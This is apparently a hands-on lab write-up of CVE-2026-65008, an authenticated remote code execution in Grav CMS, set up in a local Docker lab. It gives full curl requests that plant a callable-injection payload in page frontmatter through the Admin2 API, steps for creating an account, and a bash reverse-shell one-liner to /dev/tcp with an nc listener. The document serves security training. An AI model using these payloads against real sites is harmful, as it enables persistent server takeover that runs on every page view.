CVE-2026-65008: Grav CMS Authenticated RCE via Blueprint Callable Injection
Updated July 28, 2026 · Written by PWNMI — see About.
Grav is a popular flat-file CMS — no database, content and configuration live as files on disk, which is a big part of why it's picked up traction for docs sites and smaller production deployments. CVE-2026-65008 is authenticated remote code execution against Grav's page-blueprint system: an account with page-write access can plant a payload that then runs for every single visitor who loads the page afterward, no further authentication required.
Affects Grav 2.0.4, fixed in 2.0.7. CVSS 9.8. Vendor advisory: GHSA-fj2p-qj2f-74v5. A public PoC exists at zer0dayf/CVE-2026-65008 — worth knowing upfront that it doesn't run as-is against this lab, for reasons covered in Exploitation below, which turned out to be most of the actual work here.
What you'll practice: reading a target's own PHP source to reverse-engineer a REST API instead of guessing at endpoints from documentation, recognizing when a published exploit's failure means "wrong assumption about the target," not "the bug doesn't exist," and independently verifying code execution through a channel completely separate from the one the exploit itself used.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-65008
cd cve-labs/CVE-2026-65008
No pinned version of Grav is published on Docker Hub, and the official image's own version-pinning mechanism (a GRAV_VERSION env var) turns out not to work for old releases — it only ever resolves to whatever is currently latest. So this lab folder bundles the vulnerable 2.0.4 release directly (grav-admin-v2.0.4.zip) rather than fetching it from GitHub — unzip it and bind-mount it in:
mkdir -p site
unzip -q grav-admin-v2.0.4.zip -d /tmp/grav-extract
cp -a /tmp/grav-extract/grav-admin/. site/
docker compose up -d
No ports are published — reach the container on its own IP:
CONTAINER=$(docker compose ps -q grav)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
If docker compose ps shows the container as unhealthy, or every request 403s/404s instead of showing Grav's admin page: the cp step above didn't finish before docker compose up -d ran, so site/ was still empty when the container's own permission-fixup logic executed at startup — it only runs once, against whatever's there at that moment. Confirm with ls site/index.php; if it's missing, the copy genuinely didn't happen. Re-run the cp -a line, then reclaim ownership manually rather than restarting the container (a restart re-triggers the same race):
docker exec -u root $CONTAINER chown -R www-data:www-data /var/www/html
Understanding the vulnerability
Grav pages and forms carry their configuration as YAML frontmatter, and forms specifically can define fields dynamically — including a data-opts@: key whose value is meant to reference a Class::method callable plus its arguments, resolved and evaluated at runtime. That resolution happens in Blueprint::dynamicData(), which passes the callable straight into PHP's call_user_func_array() with no allowlist on which class or method is acceptable. Nothing checks whether the referenced method is one a form field should ever legitimately need.
Paired with Grav\Common\Utils::arrayFilterRecursive — a real, otherwise-unremarkable utility method meant for filtering arrays — as what's usually called a trampoline (using a legitimate callback mechanism to redirect execution somewhere it was never meant to go), the arguments an attacker controls end up handed to system(). Anyone with page-write access (api.pages.write in the API-driven admin used here) can plant this in a page's frontmatter. From that point on, the vulnerability doesn't require the attacker to be present, or even authenticated, ever again — Grav re-evaluates the blueprint every time the page loads, so any ordinary visitor's normal page view re-triggers the planted command.
Exploitation
Start with the published PoC, as written, before assuming anything about it:
git clone https://github.com/zer0dayf/CVE-2026-65008.git
cd CVE-2026-65008
Kali (and any modern Debian-based distro) blocks pip install straight into system Python by default — a venv is the fix, not --break-system-packages:
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
python3 exploit.py -u http://$IP -U admin -P whatever -c id
[*] Logging in...
[-] login-nonce not found
It fails immediately, and the reason turns out to matter: login() does a GET /admin and regexes the response HTML for a login-nonce hidden form field — that's how Grav's classic, server-rendered Admin plugin login page works. This lab's bundled admin interface is Admin2, a SvelteKit single-page app. Its /admin response is a JS bootstrap shell with no server-rendered form at all:
curl -s http://$IP/admin | grep GRAV_CONFIG
<script>window.__GRAV_CONFIG__ = {"serverUrl":"","apiPrefix":"/api/v1","basePath":"/admin","admin":{"name":"Admin2"}, ...
That apiPrefix is the actual clue. Admin2 doesn't have a login-nonce because it doesn't do server-rendered login at all — it authenticates against a separate REST API. Rather than guess at that API's shape, read it directly from the container, since the plugin's PHP source is right there:
docker exec $CONTAINER grep -n "addRoute" \
user/plugins/api/classes/Api/ApiRouter.php | grep -i "auth\|pages"
This surfaces the real routes: POST /auth/token for login, POST /pages to create a page. Reading AuthController.php and PagesController.php fills in the rest — login takes JSON {username, password} and returns a JWT access_token; page creation takes JSON with a header field that maps directly onto the page's YAML frontmatter, gated on the api.pages.write permission — the same precondition the CVE assumes, just reached through a different transport than the PoC expected.
1. Create a page-write account. The PoC assumes one already exists; Admin2 has no server-rendered setup flow to script over plain HTTP, so use Grav's own CLI instead:
docker exec $CONTAINER bin/plugin login new-user \
-u testadmin -p '<password>' -e testadmin@lab.local \
-P a --admin-type both -N "Test Admin" -s enabled -n
2. Authenticate against the real API:
curl -s -X POST http://$IP/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"testadmin","password":"<password>"}'
Returns {"data":{"access_token":"eyJ...", ...}}.
3. Plant the gadget. Same data-opts@: payload the original CVE research describes, delivered as JSON instead of a classic multipart form post:
curl -s -X POST http://$IP/api/v1/pages \
-H "Authorization: Bearer <access_token>" \
-H "Content-Type: application/json" \
-d '{
"route": "/rcepoc", "title": "RCE", "content": "pwned",
"header": {"forms": {"x": {"fields": {"y": {
"type": "text",
"data-opts@": [
"Grav\\Common\\Utils::arrayFilterRecursive",
{"id > /tmp/canary; hostname >> /tmp/canary": "x"},
"system"
]
}}}}}
}'
The API echoes the frontmatter straight back, unmodified — no sanitization of the data-opts@ key or its contents.
Going further: get an interactive shell instead of a one-off command
The planted command is just an argument to system() — swap id > /tmp/canary; hostname >> /tmp/canary above for a reverse shell one-liner and you land an interactive www-data shell instead of a single command's output. Generate one for your own IP and port with the Reverse Shell Generator, or use the bash one below. Start a listener first:
nc -lvnp 4444
Then replace the data-opts@ command with (the container needs an address it can actually route to — its own Docker bridge gateway works from inside the container even when your host's normal IP doesn't; find yours with docker network inspect <network-name> --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'):
bash -c 'bash -i >& /dev/tcp/<gateway-ip>/4444 0>&1'
Verified end-to-end against this exact lab: triggering the planted page lands a real interactive www-data@<container-id>:/var/www/html$ shell on the listener.
4. Trigger with an ordinary visitor request:
curl -s http://$IP/rcepoc
Returns 200 and a completely normal-looking Grav page. That response alone proves nothing — it's the same category of claim as any other "the request succeeded" signal this site keeps warning about.
5. Verify independently, through a channel the exploit itself never touched:
docker exec $CONTAINER cat /tmp/canary
Real output: uid=33(www-data) gid=33(www-data) groups=33(www-data), followed by the container's actual hostname — confirmed against docker exec $CONTAINER hostname run separately. The command genuinely executed inside the container; the HTTP 200 was never the proof, this is.
Cleanup
This exploit leaves two things behind on a real target, and the order you remove them in actually matters here, for a reason specific to this bug: the planted page is the live execution trigger. Every visitor who loads it re-runs whatever command is in the frontmatter, with no further authentication needed — so it needs to come down first, before anything else, to stop it from firing again on the next page view.
curl -s -X DELETE http://$IP/api/v1/pages/rcepoc \
-H "Authorization: Bearer <access_token>"
Only after that's confirmed gone should you deal with the account used to plant it. Grav's CLI has no built-in delete-user command — bin/plugin login list covers change-password, new-user, toggle-user, and lookup-user, but not removal. toggle-user can disable it immediately:
docker exec $CONTAINER bin/plugin login toggle-user -u testadmin --state disabled
For full removal rather than just disabling, delete the account file directly — Grav stores each account as its own YAML file:
docker exec $CONTAINER rm -f user/accounts/testadmin.yaml
This is the opposite priority from a lab like CVE-2026-63030's WordPress chain, where the account's elevated access was the thing that needed revoking first. Which artifact to remove first isn't a fixed rule — it depends on which one is actually still doing something on its own.
One thing specific to this lab's teardown, separate from the target-cleanup above: the getgrav/grav image runs with FIX_PERMISSIONS=true, which chowns everything under /var/www/html to www-data (uid 33) on container start. Since ./site is bind-mounted from the host, that ownership change lands on your host filesystem too — deleting the lab folder afterward will fail with Permission denied on every file in site/ unless your host user happens to be uid 33. Reclaim ownership with a throwaway container before deleting anything:
docker run --rm -v "$(pwd)/site:/site" alpine chown -R "$(id -u):$(id -g)" /site
Lessons worth keeping
- A PoC failing doesn't mean the vulnerability is fake — it means check your assumptions first. This script's failure was entirely about how it authenticates, not whether the underlying
call_user_func_array()bug exists. Conflating "the tool didn't work" with "the target isn't vulnerable" would have ended the test on a false negative. - When a target's own source is available, read it instead of guessing. Reverse-engineering Admin2's API by reading
ApiRouter.phpand the relevant controllers directly took less time and produced a more reliable result than trial-and-error against an undocumented REST surface would have. - A
200response is a claim, not proof — every time, no exceptions. The trigger request in step 4 succeeding tells you the server accepted the HTTP request. Only the independentdocker execcheck in step 5, reading the actual filesystem through a completely different channel, tells you code ran.
Next step
For another case where a published exploit tool needed a second look before it actually worked — Livepyre's version-detection caution rather than a wrong API assumption — see CVE-2025-54068 (Laravel Livewire). For the general skill of manually crafting and replaying API requests like the ones in this walkthrough, see Burp Suite Fundamentals.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.